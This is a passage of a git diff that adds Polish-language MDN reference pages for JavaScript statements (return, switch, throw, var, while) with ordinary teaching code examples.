+ <dd>Evaluates an expression, matching the expression's value to a case clause, and executes statements associated with that case.</dd>
+ <dt>{{jsxref("Statements/throw", "throw")}}</dt>
+ <dd>Throws a user-defined exception.</dd>
+ <dt>{{jsxref("Statements/try...catch", "try...catch")}}</dt>
+ <dd>Marks a block of statements to try, and specifies a response, should an exception be thrown.</dd>
+</dl>
+
+<h3 id="Declarations">Declarations</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/var", "var")}}</dt>
+ <dd>Declares a variable, optionally initializing it to a value.</dd>
+ <dt>{{jsxref("Statements/let", "let")}}</dt>
+ <dd>Declares a block scope local variable, optionally initializing it to a value.</dd>
+ <dt>{{jsxref("Statements/const", "const")}}</dt>
+ <dd>Declares a read-only named constant.</dd>
+</dl>
+
+<h3 id="Functions_and_classes">Functions and classes</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/function", "function")}}</dt>
+ <dd>Declares a function with the specified parameters.</dd>
+ <dt>{{jsxref("Statements/function*", "function*")}}</dt>
+ <dd>Generator Functions enable writing <a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">iterators</a> more easily.</dd>
+ <dt>{{jsxref("Statements/async_function", "async function")}}</dt>
+ <dd>Declares an async function with the specified parameters.</dd>
+ <dt>{{jsxref("Statements/return", "return")}}</dt>
+ <dd>Specifies the value to be returned by a function.</dd>
+ <dt>{{jsxref("Statements/class", "class")}}</dt>
+ <dd>Declares a class.</dd>
+</dl>
+
+<h3 id="Iterations">Iterations</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/do...while", "do...while")}}</dt>
+ <dd>Creates a loop that executes a specified statement until the test condition evaluates to false. The condition is evaluated after executing the statement, resulting in the specified statement executing at least once.</dd>
+ <dt>{{jsxref("Statements/for", "for")}}</dt>
+ <dd>Creates a loop that consists of three optional expressions, enclosed in parentheses and separated by semicolons, followed by a statement executed in the loop.</dd>
+ <dt>{{deprecated_inline}} {{non-standard_inline()}} {{jsxref("Statements/for_each...in", "for each...in")}}</dt>
+ <dd>Iterates a specified variable over all values of object's properties. For each distinct property, a specified statement is executed.</dd>
+ <dt>{{jsxref("Statements/for...in", "for...in")}}</dt>
+ <dd>Iterates over the enumerable properties of an object, in arbitrary order. For each distinct property, statements can be executed.</dd>
+ <dt>{{jsxref("Statements/for...of", "for...of")}}</dt>
+ <dd>Iterates over iterable objects (including {{jsxref("Global_Objects/Array","arrays","","true")}}, array-like objects, <a href="/en-US/docs/JavaScript/Guide/Iterators_and_Generators">iterators and generators</a>), invoking a custom iteration hook with statements to be executed for the value of each distinct property.</dd>
+ <dt>{{jsxref("Statements/while", "while")}}</dt>
+ <dd>Creates a loop that executes a specified statement as long as the test condition evaluates to true. The condition is evaluated before executing the statement.</dd>
+</dl>
+
+<h3 id="Others">Others</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/debugger", "debugger")}}</dt>
+ <dd>Invokes any available debugging functionality. If no debugging functionality is available, this statement has no effect.</dd>
+ <dt>{{jsxref("Statements/export", "export")}}</dt>
+ <dd>Used to export functions to make them available for imports in external modules, another scripts.</dd>
+ <dt>{{jsxref("Statements/import", "import")}}</dt>
+ <dd>Used to import functions exported from an external module, another script.</dd>
+ <dt>{{jsxref("Statements/label", "label")}}</dt>
+ <dd>Provides a statement with an identifier that you can refer to using a <code>break</code> or <code>continue</code> statement.</dd>
+</dl>
+
+<dl>
+ <dt>{{deprecated_inline}} {{jsxref("Statements/with", "with")}}</dt>
+ <dd>Extends the scope chain for a statement.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-12', 'Statements')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-12', 'Statements')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12', 'Statements')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>New: function*, let, for...of, yield, class</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.statements")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators">Operators</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/polecenia/return/index.html b/files/pl/web/javascript/referencje/polecenia/return/index.html
new file mode 100644
index 0000000000..ed7849ed65
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/return/index.html
@@ -0,0 +1,48 @@
+---
+title: return
+slug: Web/JavaScript/Referencje/Polecenia/return
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Statements/return
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Określa wartość, która ma być zwrócona przez funkcję.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Polecenie</td>
+</tr>
+<tr>
+<td>Zaimplementowane w:</td>
+<td>JavaScript 1.0, NES 2.0</td>
+</tr>
+<tr>
+<td>Wersja ECMA:</td>
+<td>ECMA-262</td>
+</tr>
+</tbody></table>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<p><code>
+return <i>wyrażenie</i>;
+</code>
+</p>
+<h3 id="Parametry" name="Parametry"> Parametry </h3>
+<dl><dt> <code>wyrażenie</code> </dt><dd> wyrażenie, którego wynik ma być zwrócony.
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<h4 id="Przyk.C5.82ad:_Zastosowanie_return" name="Przyk.C5.82ad:_Zastosowanie_return"> Przykład: Zastosowanie <code>return</code> </h4>
+<p>Poniższa funkcja zwraca kwadrat swojego argumentu <code>x</code> (gdzie <code>x</code> jest liczbą).
+</p>
+<pre>function kwadrat(x) {
+ return x * x;
+}
+</pre>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/return", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/return", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/return", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/return" } ) }}
diff --git a/files/pl/web/javascript/referencje/polecenia/switch/index.html b/files/pl/web/javascript/referencje/polecenia/switch/index.html
new file mode 100644
index 0000000000..d131e042ca
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/switch/index.html
@@ -0,0 +1,285 @@
+---
+title: switch
+slug: Web/JavaScript/Referencje/Polecenia/switch
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Statements/switch
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><span class="seoSummary">Instrukcja switch ocenia wyrażenie, dopasowując wartość wyrażenia do klauzuli case, i wykonuje instrukcje powiązane z tym case, a także instrukcje w przypadkach następujących po dopasowanym przypadku.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-switch.html")}}</div>
+
+<p class="hidden">Źródło tego interaktywnego przykładu jest przechowywane w repozytorium GitHub. Jeśli chcesz przyczynić się do projektu interaktywnych przykładów, sklonuj https://github.com/mdn/interactive-examples i wyślij nam prośbę o pobranie.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">switch (expression) {
+ case value1:
+ //Statements executed when the
+ //result of expression matches value1
+ [break;]
+ case value2:
+ //Statements executed when the
+ //result of expression matches value2
+ [break;]
+ ...
+ case valueN:
+ //Statements executed when the
+ //result of expression matches valueN
+ [break;]
+ [default:
+ //Statements executed when none of
+ //the values match the value of the expression
+ [break;]]
+}</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>Wyrażenie, którego wynik jest dopasowany do każdej klauzuli przypadku.</dd>
+ <dt><code>case valueN</code> {{optional_inline}}</dt>
+ <dd>Klauzula przypadku używana do dopasowania do wyrażenia. Jeśli wyrażenie pasuje do podanej wartościN, instrukcje wewnątrz klauzuli case są wykonywane do końca instrukcji switch lub break.</dd>
+ <dt><code>default</code> {{optional_inline}}</dt>
+ <dd>A <code>default</code> clause; if provided, this clause is executed if the value of <code>expression</code> doesn't match any of the <code>case</code> clauses.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>A switch statement first evaluates its expression. It then looks for the first <code>case</code> clause whose expression evaluates to the same value as the result of the input expression (using the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">strict comparison</a>, <code>===</code>) and transfers control to that clause, executing the associated statements. (If multiple cases match the provided value, the first case that matches is selected, even if the cases are not equal to each other.)</p>
+
+<p>If no matching <code>case</code> clause is found, the program looks for the optional <code>default</code> clause, and if found, transfers control to that clause, executing the associated statements. If no <code>default</code> clause is found, the program continues execution at the statement following the end of <code>switch</code>. By convention, the <code>default</code> clause is the last clause, but it does not need to be so.</p>
+
+<p>The optional <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/break" title="JavaScript/Reference/Statements/break">break</a></code> statement associated with each case label ensures that the program breaks out of switch once the matched statement is executed and continues execution at the statement following switch. If <code>break</code> is omitted, the program continues execution at the next statement in the <code>switch</code> statement.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_switch">Using <code>switch</code></h3>
+
+<p>In the following example, if <code>expr</code> evaluates to "Bananas", the program matches the value with case "Bananas" and executes the associated statement. When <code>break</code> is encountered, the program breaks out of <code>switch</code> and executes the statement following <code>switch</code>. If <code>break</code> were omitted, the statement for case "Cherries" would also be executed.</p>
+
+<pre class="brush: js">switch (expr) {
+ case 'Oranges':
+ console.log('Oranges are $0.59 a pound.');
+ break;
+ case 'Apples':
+ console.log('Apples are $0.32 a pound.');
+ break;
+ case 'Bananas':
+ console.log('Bananas are $0.48 a pound.');
+ break;
+ case 'Cherries':
+ console.log('Cherries are $3.00 a pound.');
+ break;
+ case 'Mangoes':
+ case 'Papayas':
+ console.log('Mangoes and papayas are $2.79 a pound.');
+ break;
+ default:
+ console.log('Sorry, we are out of ' + expr + '.');
+}
+
+console.log("Is there anything else you'd like?");
+</pre>
+
+<h3 id="What_happens_if_I_forgot_a_break">What happens if I forgot a break?</h3>
+
+<p>If you forget a break then the script will run from the case where the criterion is met and will run the case after that regardless if criterion was met. See example here:</p>
+
+<pre class="brush: js">var foo = 0;
+switch (foo) {
+ case -1:
+ console.log('negative 1');
+ break;
+ case 0: // foo is 0 so criteria met here so this block will run
+ console.log(0);
+ // NOTE: the forgotten break would have been here
+ case 1: // no break statement in 'case 0:' so this case will run as well
+ console.log(1);
+ break; // it encounters this break so will not continue into 'case 2:'
+ case 2:
+ console.log(2);
+ break;
+ default:
+ console.log('default');
+}</pre>
+
+<h3 id="Can_I_put_a_default_between_cases">Can I put a default between cases?</h3>
+
+<p>Yes, you can! JavaScript will drop you back to the default if it can't find a match:</p>
+
+<pre class="brush: js">var foo = 5;
+switch (foo) {
+ case 2:
+ console.log(2);
+ break; // it encounters this break so will not continue into 'default:'
+ default:
+ console.log('default')
+ // fall-through
+ case 1:
+ console.log('1');
+}
+</pre>
+
+<p>It also works when you put default before all other cases.</p>
+
+<h3 id="Rewriting_multiple_If_statements_with_Switch">Rewriting multiple If statements with Switch</h3>
+
+<p>Shown below as a possibility.</p>
+
+<pre class="brush: js">var a = 100;
+var b = NaN;
+switch (true) {
+ case isNaN(a) || isNaN(b):
+ console.log('NaNNaN');
+ break;
+ case a === b:
+ console.log(0);
+ break;
+ case a &lt; b:
+ console.log(-1);
+ break;
+ default:
+ console.log(1);
+}
+</pre>
+
+<h3 id="Methods_for_multi-criteria_case">Methods for multi-criteria case</h3>
+
+<p>Source for this technique is here:</p>
+
+<p><a href="http://stackoverflow.com/questions/13207927/switch-statement-multiple-cases-in-javascript">Switch statement multiple cases in JavaScript (Stack Overflow)</a></p>
+
+<h4 id="Multi-case_-_single_operation">Multi-case - single operation</h4>
+
+<p>This method takes advantage of the fact that if there is no break below a case statement it will continue to execute the next case statement regardless if the case meets the criteria. See the section titled "What happens if I forgot a break?"</p>
+
+<p>This is an example of a single operation sequential switch statement, where four different values perform exactly the same.</p>
+
+<pre class="brush: js">var Animal = 'Giraffe';
+switch (Animal) {
+ case 'Cow':
+ case 'Giraffe':
+ case 'Dog':
+ case 'Pig':
+ console.log('This animal will go on Noah\'s Ark.');
+ break;
+ case 'Dinosaur':
+ default:
+ console.log('This animal will not.');
+}</pre>
+
+<h4 id="Multi-case_-_chained_operations">Multi-case - chained operations</h4>
+
+<p>This is an example of a multiple-operation sequential switch statement, where, depending on the provided integer, you can receive different output. This shows you that it will traverse in the order that you put the case statements, and it does not have to be numerically sequential. In JavaScript, you can even mix in definitions of strings into these case statements as well.</p>
+
+<pre class="brush: js">var foo = 1;
+var output = 'Output: ';
+switch (foo) {
+ case 10:
+ output += 'So ';
+ case 1:
+ output += 'What ';
+ output += 'Is ';
+ case 2:
+ output += 'Your ';
+ case 3:
+ output += 'Name';
+ case 4:
+ output += '?';
+ console.log(output);
+ break;
+ case 5:
+ output += '!';
+ console.log(output);
+ break;
+ default:
+ console.log('Please pick a number from 0 to 6!');
+}</pre>
+
+<p>The output from this example:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Value</th>
+ <th scope="col">Log text</th>
+ </tr>
+ <tr>
+ <td>foo is NaN or not 1, 2, 3, 4, 5 or 10</td>
+ <td>Please pick a number from 0 to 6!</td>
+ </tr>
+ <tr>
+ <td>10</td>
+ <td>Output: So What Is Your Name?</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>Output: What Is Your Name?</td>
+ </tr>
+ <tr>
+ <td>2</td>
+ <td>Output: Your Name?</td>
+ </tr>
+ <tr>
+ <td>3</td>
+ <td>Output: Name?</td>
+ </tr>
+ <tr>
+ <td>4</td>
+ <td>Output: ?</td>
+ </tr>
+ <tr>
+ <td>5</td>
+ <td>Output: !</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.2</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.11', 'switch statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-switch-statement', 'switch statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.statements.switch")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else"><code>if...else</code></a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/polecenia/throw/index.html b/files/pl/web/javascript/referencje/polecenia/throw/index.html
new file mode 100644
index 0000000000..a8d57064f5
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/throw/index.html
@@ -0,0 +1,197 @@
+---
+title: throw
+slug: Web/JavaScript/Referencje/Polecenia/throw
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Statements/throw
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>The <strong><code>throw</code> statement</strong> throws a user-defined exception. Execution of the current function will stop (the statements after <code>throw</code> won't be executed), and control will be passed to the first <a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>catch</code></a> block in the call stack. If no <code>catch</code> block exists among caller functions, the program will terminate.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-throw.html")}}</div>
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">throw <em>expression</em>; </pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>The expression to throw.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Use the <code>throw</code> statement to throw an exception. When you throw an exception, <code>expression</code> specifies the value of the exception. Each of the following throws an exception:</p>
+
+<pre class="brush: js">throw 'Error2'; // generates an exception with a string value
+throw 42; // generates an exception with the value 42
+throw true; // generates an exception with the value true</pre>
+
+<p>Also note that the <code>throw</code> statement is affected by <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">automatic semicolon insertion (ASI)</a> as no line terminator between the <code>throw</code> keyword and the expression is allowed.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Throw_an_object">Throw an object</h3>
+
+<p>You can specify an object when you throw an exception. You can then reference the object's properties in the <code>catch</code> block. The following example creates an object of type <code>UserException</code> and uses it in a <code>throw</code> statement.</p>
+
+<pre class="brush: js">function UserException(message) {
+ this.message = message;
+ this.name = 'UserException';
+}
+function getMonthName(mo) {
+ mo = mo - 1; // Adjust month number for array index (1 = Jan, 12 = Dec)
+ var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul',
+ 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
+ if (months[mo] !== undefined) {
+ return months[mo];
+ } else {
+ throw new UserException('InvalidMonthNo');
+ }
+}
+
+try {
+ // statements to try
+ var myMonth = 15; // 15 is out of bound to raise the exception
+ var monthName = getMonthName(myMonth);
+} catch (e) {
+ monthName = 'unknown';
+ console.log(e.message, e.name); // pass exception object to err handler
+}
+</pre>
+
+<h3 id="Another_example_of_throwing_an_object">Another example of throwing an object</h3>
+
+<p>The following example tests an input string for a U.S. zip code. If the zip code uses an invalid format, the throw statement throws an exception by creating an object of type <code>ZipCodeFormatException</code>.</p>
+
+<pre class="brush: js">/*
+ * Creates a ZipCode object.
+ *
+ * Accepted formats for a zip code are:
+ * 12345
+ * 12345-6789
+ * 123456789
+ * 12345 6789
+ *
+ * If the argument passed to the ZipCode constructor does not
+ * conform to one of these patterns, an exception is thrown.
+ */
+
+function ZipCode(zip) {
+ zip = new String(zip);
+ pattern = /[0-9]{5}([- ]?[0-9]{4})?/;
+ if (pattern.test(zip)) {
+ // zip code value will be the first match in the string
+ this.value = zip.match(pattern)[0];
+ this.valueOf = function() {
+ return this.value
+ };
+ this.toString = function() {
+ return String(this.value)
+ };
+ } else {
+ throw new ZipCodeFormatException(zip);
+ }
+}
+
+function ZipCodeFormatException(value) {
+ this.value = value;
+ this.message = 'does not conform to the expected format for a zip code';
+ this.toString = function() {
+ return this.value + this.message;
+ };
+}
+
+/*
+ * This could be in a script that validates address data
+ * for US addresses.
+ */
+
+const ZIPCODE_INVALID = -1;
+const ZIPCODE_UNKNOWN_ERROR = -2;
+
+function verifyZipCode(z) {
+ try {
+ z = new ZipCode(z);
+ } catch (e) {
+ if (e instanceof ZipCodeFormatException) {
+ return ZIPCODE_INVALID;
+ } else {
+ return ZIPCODE_UNKNOWN_ERROR;
+ }
+ }
+ return z;
+}
+
+a = verifyZipCode(95060); // returns 95060
+b = verifyZipCode(9560); // returns -1
+c = verifyZipCode('a'); // returns -1
+d = verifyZipCode('95060'); // returns 95060
+e = verifyZipCode('95060 1234'); // returns 95060 1234
+</pre>
+
+<h3 id="Rethrow_an_exception">Rethrow an exception</h3>
+
+<p>You can use <code>throw</code> to rethrow an exception after you catch it. The following example catches an exception with a numeric value and rethrows it if the value is over 50. The rethrown exception propagates up to the enclosing function or to the top level so that the user sees it.</p>
+
+<pre class="brush: js">try {
+ throw n; // throws an exception with a numeric value
+} catch (e) {
+ if (e &lt;= 50) {
+ // statements to handle exceptions 1-50
+ } else {
+ // cannot handle this exception, so rethrow
+ throw e;
+ }
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.4</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.13', 'throw statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-throw-statement', 'throw statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-throw-statement', 'throw statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.statements.throw")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>try...catch</code></a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/polecenia/var/index.html b/files/pl/web/javascript/referencje/polecenia/var/index.html
new file mode 100644
index 0000000000..aff42bcdac
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/var/index.html
@@ -0,0 +1,61 @@
+---
+title: var
+slug: Web/JavaScript/Referencje/Polecenia/var
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Statements/var
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Deklaruje zmienną oraz opcjonalnie przypisuje jej wartość początkową.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Instrukcja</td>
+</tr>
+<tr>
+<td>Zaimplementowana w:</td>
+<td>JavaScript 1.0, NES 2.0</td>
+</tr>
+<tr>
+<td>Wersja ECMA:</td>
+<td>ECMA-262</td>
+</tr>
+</tbody></table>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<p><code>
+var <i>varname1</i> {{ mediawiki.external('= <i>value1</i>') }}, <i>varname2</i> {{ mediawiki.external('= <i>value2</i>') }}, ..., <i>varnameN</i> {{ mediawiki.external('= <i>valueN</i>') }};
+</code>
+</p>
+<h3 id="Parametry" name="Parametry"> Parametry </h3>
+<dl><dt> <code>varnameN</code> </dt><dd> Nazwa zmiennej. Może być dowolnym, dozwolonym identyfikatorem.
+</dd></dl>
+<dl><dt> <code>valueN</code> </dt><dd> Zainicjalizowanie wartości zmiennej. Może być dowolnym, dozwolonym wyrażeniem.
+</dd></dl>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Zasięgiem zmiennej jest aktualna funkcja lub, jeśli zmienna została zadeklarowana poza funkcją, aktualna aplikacja.
+</p><p>Użycie <code>var</code> poza funkcją jest opcjonalne; przypisanie wartości do niezadeklarowanej zmiennej domyślnie deklaruje ją jako zmienna globalną. Zalecane jest jednak, aby zawsze używać <code>var</code>, ponadto jest to konieczne wewnątrz funkcji w następujących przypadkach:
+</p>
+<ul><li> Jeśli zmienna w zasięgu obejmującym funkcję (łącznie z zasięgiem globalnym) posiada tę samą nazwę.
+</li><li> Jeśli funkcje rekurencyjne lub złożone używają zmiennych o tych samych nazwach, które mają być lokalne.
+</li></ul>
+<p>Niepowodzenie zadeklarowania zmiennej w tych przypadkach będzie najprawdopodobniej prowadzić do niespodziewanych wyników.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<h4 id="Przyk.C5.82ad:_Zastosowanie_var" name="Przyk.C5.82ad:_Zastosowanie_var"> Przykład: Zastosowanie <code>var</code> </h4>
+<p>Poniższy przykład deklaruje dwie zmienne, <code>num_hits</code> i <code>cust_no</code> i przypisuje im obu początkową wartość 0.
+</p>
+<pre class="eval">var num_hits = 0, cust_no = 0;
+</pre>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/const">const</a>
+</p><p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/var", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/var", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/var", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/var" } ) }}
diff --git a/files/pl/web/javascript/referencje/polecenia/while/index.html b/files/pl/web/javascript/referencje/polecenia/while/index.html
new file mode 100644
index 0000000000..103762fd01
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/while/index.html
@@ -0,0 +1,61 @@
+---
+title: while
+slug: Web/JavaScript/Referencje/Polecenia/while
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Statements/while
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Tworzy pętlę, która wylicza wyrażenie <code>i</code>, jeśli jest ono prawdą, wykonuje blok poleceń. Wykonywanie pętli powtarza się, póki warunek jest prawdziwy.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td colspan="2">Polecenie</td>
+</tr>
+<tr>
+<td>Zaimplementowane w:</td>
+<td>JavaScript 1.0, NES 2.0</td>
+</tr>
+<tr>
+<td>Wersja ECMA:</td>
+<td>ECMA-262</td>
+</tr>
+</tbody></table>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">while (<i>warunek</i>) {
+ <i>polecenia</i>
+}
+</pre>
+<h3 id="Parametery" name="Parametery"> Parametery </h3>
+<dl><dt> <code>warunek</code> </dt><dd> Wyliczany przed każdym wejściem w blok poleceń. Jeśli warunek jest prawdą, polecenia w bloku są wykonywane. Jeśli nie jest, sterowanie przepływa do pierwszego polecenia za pętlą.
+</dd></dl>
+<dl><dt> <code>polecenia</code> </dt><dd> Blok poleceń wykonywanych póki warunek jest spełniony. Dobrą praktyką jest stosowanie w tym miejscu wcięć (indentacji), zwiększających czytelność kodu.
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>Poniższa pętla <code>while</code> wykonuje się dopóki n jest mniejsze niż trzy.
+</p>
+<pre class="eval">n = 0;
+x = 0;
+while(n &lt; 3) {
+ n ++;
+ x += n;
+}
+</pre>
+<p>Po każdej iteracji pętla zwiększa n i dodaje je do x. Dlatego też x i n przyjmują następujące wartości:
+</p>
+<ul><li> Po pierwszym przejściu: n = 1, x = 1
+</li><li> Po drugim przejściu: n = 2, x = 3
+</li><li> Po trzecim przejściu: n = 3, x = 6
+</li></ul>
+<p>Po ukończeniu trzeciego przejścia warunek n &lt; 3 nie jest już spełniony, zatem wykonywanie pętli kończy się.
+</p><p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/while", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/while", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/while", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/while" } ) }}
diff --git a/files/pl/web/javascript/referencje/przestarzałe_własności_i_metody/index.html b/files/pl/web/javascript/referencje/przestarzałe_własności_i_metody/index.html
new file mode 100644
index 0000000000..92c805ac17
--- /dev/null
+++ b/files/pl/web/javascript/referencje/przestarzałe_własności_i_metody/index.html
@@ -0,0 +1,292 @@
+---
+title: Przestarzałe własności i metody
+slug: Web/JavaScript/Referencje/Przestarzałe_własności_i_metody
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Deprecated_and_obsolete_features
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>This page lists features of JavaScript that are deprecated (that is, still available but planned for removal) and obsolete (that is, no longer usable).</p>
+
+<h2 id="Deprecated_features">Deprecated features</h2>
+
+<p>These deprecated features can still be used, but should be used with caution because they are expected to be removed entirely sometime in the future. You should work to remove their use from your code.</p>
+
+<h3 id="RegExp_properties">RegExp properties</h3>
+
+<p>The following properties are deprecated. This does not affect their use in {{jsxref("String.replace", "replacement strings", "", 1)}}:</p>
+
